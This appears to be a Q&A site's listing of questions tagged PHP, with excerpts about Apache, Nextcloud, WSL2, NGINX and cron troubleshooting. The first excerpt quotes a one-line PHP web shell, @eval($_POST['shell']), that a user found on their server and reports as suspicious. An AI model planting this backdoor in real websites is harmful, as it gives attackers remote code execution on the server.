Questions tagged [php]
PHP is a widely-used general-purpose scripting language that is especially suited for Web development. Questions about programming in PHP are off-topic and should be asked on Stack Overflow.
2,002 questions
22
votes
2
answers
3k
views
Why can’t I delete a suspicious PHP file even with root?
On my server running CWP, I recently found a file located in /usr/local/cwpsrv/htdocs/admin/admin called error.php that just has the contents <?php @eval($_POST['shell']);?> (very concerning).
...
1
vote
1
answer
68
views
Why can't I run PHP via Apache on macOS? (Installed using Homebrew)
I have reinstalled whole brew, installed SSL, PHP, httpd but PHP ins't interpretted.
php -v returns:
PHP 8.4.7 (cli) (built: May 6 2025 12:31:58) (NTS)
Copyright (c) The PHP Group
Built by Homebrew
...
0
votes
1
answer
47
views
How to dynamically set the PHP version used by my terminal by extracting it from composer.json using Windows CMD file?
I run a file called doskeys.cmd every time Windows Terminal opens to set amongst other things, command aliases.
Should composer.json exist, I want to extract the PHP version from it so I can ...
0
votes
0
answers
75
views
It seems that the mirrored network mode of WSL2 is not compatible with ddev?
I want to use ddev projects in WSL2's mirrored network mode, but when I run it, WSL2 cannot curl this container.
My project was created using the following code:
ddev poweroff
mkdir ~/tmp/testddev
cd ...
0
votes
0
answers
24
views
Xampp cannot load PHP file when connected to internet
When using XAMPP while connected to the internet, I encounter unreliable loading of .php files. While .html files work flawlessly. Sometimes pages load instantly without issues, while other times it ...
1
vote
0
answers
48
views
How to change Docker container's PHP_MEMORY_LIMIT env variable in dockerized Nextcloud on ASUSTOR NAS
I have ASUSTOR NAS AS6302T with Nextcloud 30 installed from the App Central. I'm trying to set up cron to run background jobs. However when I try to run the cron.php script manually in the Docker ...
2
votes
0
answers
225
views
Nextcloud large files upload issue
I have a bare metal Nextcloud server hosted on a Debian 12 machine with a MariaDB database. When I try uploading larger files above 100M, the "estimated upload time" in the browser shows &...
1
vote
1
answer
129
views
Why is php artisan so slow with WAMP/Windows11?
I'm using wamp on windows11 and noticed that not just the pageloads, but the CLI commands are way too slow. It seems, that something is adding a ~30s (like a timeout, not constant) to everything, but ...
0
votes
1
answer
31
views
I am setting up two services using PHP-FPM and NGINX, and whenever one accesses the other, the NGINX page always appears
I created a container with PHP-FPM to act as the backend and admin for another PHP container. The second container will serve as the "frontend," fetching information from the first container....
0
votes
1
answer
72
views
Writing a socket server for an API that uses a persistent connection
I'm asked to create an app to manage a device that's usually behind a NAT or firewall, so unreachable from the outside.
Fortunately, the device's creators thought of that, so they created an API that ...
1
vote
0
answers
22
views
Cron Job on Directadmin executes after having been deleted
I deleted all cron Jobs from Directadmin dashboard but a previous old cron Job is still being activated by the Monibot crawler i.e
3.14.66.101 - - [23/Nov/2024:11:03:44 -0500] "GET /2024-2021/...
0
votes
0
answers
61
views
Running nginx on a Raspberry PI, php-fpm fails to install
I have nginx installed Ok with it running using my johnrose.mywire.org server block. When I try to install php-fpm it fails:
Active: failed (Result: exit-code) since Fri 2024-11-08 09:42:43 GMT; 20ms ...
0
votes
1
answer
228
views
PHP 8.2.7 compilation does not work when cURL is included
I get the following installing PHP on Alma Linux 8.10:
php-8.2.7/ext/curl/interface.c:3085: undefined reference to \`curl_easy_upkeep'
I thought this would be a common error (hence the post) and I ...
0
votes
0
answers
10
views
Counting, rule for the presence of a slash at the end of the URL
RewriteCond %{HTTP_HOST} ^www\..+ [NC,OR]
RewriteCond %{HTTP:X-Forwarded-Proto} =http
RewriteRule ^(.*) https://site.ru/$1 [R=301,L]
Redirect from www to without or from http protocol
I don't know ...
0
votes
1
answer
449
views
Why is the GD extension for PHP not enabled under Apache but enabled via command line?
I am using Termux (a Debian Linux like environment under Android).
Apache: 2.4.62
PHP: 8.3.10
After updating PHP from 8.3.8 to 8.3.10 the gd extension was lost. The developers provided a 'fix' which ...